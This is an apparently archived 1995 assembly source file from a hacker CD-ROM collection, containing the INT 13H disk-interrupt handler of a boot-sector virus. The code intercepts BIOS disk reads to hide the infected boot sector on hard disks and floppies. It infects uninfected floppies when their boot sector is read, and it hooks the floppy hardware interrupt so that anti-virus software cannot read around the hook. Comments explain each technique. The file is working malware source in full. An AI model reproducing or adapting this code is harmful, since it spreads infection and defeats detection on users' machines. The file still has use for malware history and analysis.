home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / BSTEALTH / LEVEL2 / INT13H.ASM < prev   
Encoding:
Assembly Source File  |  1995-07-03  |  6.4 KB  |  125 lines

  1. ;*******************************************************************************
  2. ;* INTERRUPT 13H HANDLER                                                       *
  3. ;*******************************************************************************
  4.  
  5. OLD_13H DD      ?                       ;Old interrupt 13H vector goes here
  6.  
  7. INT_13H:
  8.         sti
  9.         cmp     ah,2                    ;we want to intercept reads
  10.         jz      READ_FUNCTION
  11.         mov     BYTE PTR cs:[INSIDE],1
  12.         pushf
  13.         call    DWORD PTR cs:[OLD_13H]
  14.         mov     BYTE PTR cs:[INSIDE],0
  15.         retf    2
  16.  
  17. ;*******************************************************************************
  18. ;This section of code handles all attempts to access the Disk BIOS Function 2.
  19. ;It stealths the boot sector on both hard disks and floppy disks, by
  20. ;re-directing the read to the original boot sector. It handles multi-sector
  21. ;reads properly, by dividing the read into two parts. If an attempt is
  22. ;made to read the boot sector on the floppy, and the motor is off, this
  23. ;routine will check to see if the floppy has been infected, and if not, it
  24. ;will infect it.
  25. READ_FUNCTION:                                  ;Disk Read Function Handler
  26.         mov     BYTE PTR cs:[INSIDE],1          ;set INSIDE flag
  27.         cmp     dh,0                            ;is it a read on head 0?
  28.         jnz     ROM_BIOS                        ;nope, we're not interested
  29.         cmp     dl,80H                          ;is this a hard disk read?
  30.         jc      READ_FLOPPY                     ;no, go handle floppy
  31.  
  32.  
  33. ;This routine stealths the hard disk. It's really pretty simple, since all it
  34. ;has to do is add VIR_SIZE+1 to the sector number being read, provided the
  35. ;sector being read is somewhere in the virus. That moves a read of the
  36. ;master boot sector out to the original master boot record, and it moves
  37. ;all other sector reads out past where the virus is, presumably returning
  38. ;blank data.
  39. READ_HARD:                                      ;else handle hard disk
  40.         cmp     cx,VIR_SIZE+3                   ;is it cyl 0, sec < VIR_SIZE + 3?
  41.         jnc     ROM_BIOS                        ;no, let BIOS handle it
  42.         push    cx
  43.         add     cx,VIR_SIZE+1                   ;adjust sec no (stealth)
  44.         pushf                                   ;and read from here instead
  45.         call    DWORD PTR cs:[OLD_13H]          ;call ROM BIOS
  46.         pop     cx                              ;restore original sec no
  47.         mov     BYTE PTR cs:[INSIDE],0          ;reset INSIDE flag
  48.         retf    2                               ;and return to caller
  49.  
  50. ROM_BIOS:                                       ;call ROM BIOS disk handler
  51.         pushf
  52.         call    DWORD PTR cs:[OLD_13H]
  53.         mov     BYTE PTR cs:[INSIDE],0          ;reset this flag
  54.         retf    2                               ;and return to caller
  55.  
  56.  
  57. ;This handles reading from the floppy, which is a bit more complex. For one,
  58. ;we can't know where the original boot sector is, unless we first read the
  59. ;viral one and get that information out of it. Secondly, a multi-sector
  60. ;read must return with the FAT in the second sector, etc.
  61. READ_FLOPPY:
  62.         cmp     cx,1                            ;is it cylinder 0, sector 1?
  63.         jnz     ROM_BIOS                        ;no, let BIOS handle it
  64.         mov     cs:[CURR_DISK],dl               ;save currently accessed drive #
  65.         call    CHECK_DISK                      ;is floppy already infected?
  66.         jz      FLOPPY_STEALTH                  ;yes, stealth the read
  67.  
  68.         call    INIT_FAT_MANAGER                ;initialize FAT management routines
  69.         call    INFECT_FLOPPY                   ;no, go infect the diskette
  70. RF2:    call    CHECK_DISK                      ;see if infection took
  71.         jnz     ROM_BIOS                        ;no, no stealth required, go to BIOS
  72.  
  73. ;If we get here, we need stealth.
  74. FLOPPY_STEALTH:
  75.         int     40H                             ;read requested sectors
  76.         mov     cs:[REPORT],ax                  ;save returned ax value here
  77.         jnc     BOOT_SECTOR                     ;and read boot sec if no error
  78.         mov     al,0                            ;error, return with al=0
  79.         mov     BYTE PTR cs:[INSIDE],0          ;reset INSIDE flag
  80.         retf    2                               ;and carry set
  81.  
  82. ;This routine reads the original boot sector.
  83. BOOT_SECTOR:
  84.         mov     cx,WORD PTR es:[bx + 3EH]       ;cx, dh locate start of
  85.         mov     dh,BYTE PTR es:[bx + 41H]       ;main body of virus
  86.         add     cl,VIR_SIZE                     ;update to find orig boot sec
  87.         cmp     cl,BYTE PTR cs:[BS_SECS_PER_TRACK]          ;this procedure works
  88.         jbe     BS1                             ;as long as
  89.         sub     cl,BYTE PTR cs:[BS_SECS_PER_TRACK]          ;VIR_SIZE<=BS_SECS_PER_TRACK
  90.         xor     dh,1
  91.         jnz     BS1
  92.         inc     ch
  93. BS1:    mov     ax,201H                         ;read original boot sector
  94.         int     40H                             ;using BIOS floppy disk
  95.         mov     cx,1                            ;restore cx and dh
  96.         mov     dh,0
  97.         jc      EXNOW                           ;error, exit now
  98.         mov     ax,cs:[REPORT]
  99. EXNOW:  mov     BYTE PTR cs:[INSIDE],0          ;reset INSIDE flag
  100.         retf    2                               ;and exit to caller
  101.  
  102.  
  103. REPORT  DW      ?                       ;value reported to caller in ax
  104. INSIDE  DB      0                       ;flag indicates we're inside int 13 hook
  105.  
  106. ;*******************************************************************************
  107. ;This routine handles the floppy disk hardware Interrupt 0EH. Basically, it
  108. ;just passes control to the old handler as long as the INSIDE flag is one. If
  109. ;the INSIDE flag is zero, though, it returns to the caller without doing
  110. ;anything. This frustrates attempts to go around INT 13H by anti-virus software.
  111.  
  112. OLD_0EH DD      ?                               ;old INT 0EH handler vector
  113.  
  114. INT_0EH:
  115.         cmp     BYTE PTR cs:[INSIDE],1          ;is INSIDE = 1 ?
  116.         jne     INTERET                         ;nope, just return to caller
  117.         jmp     DWORD PTR cs:[OLD_0EH]          ;else go to old handler
  118.  
  119. INTERET:push    ax
  120.         mov     al,20H                          ;release interrupt controller
  121.         out     20H,al
  122.         pop     ax
  123.         iret                                    ;and return to caller
  124.  
  125.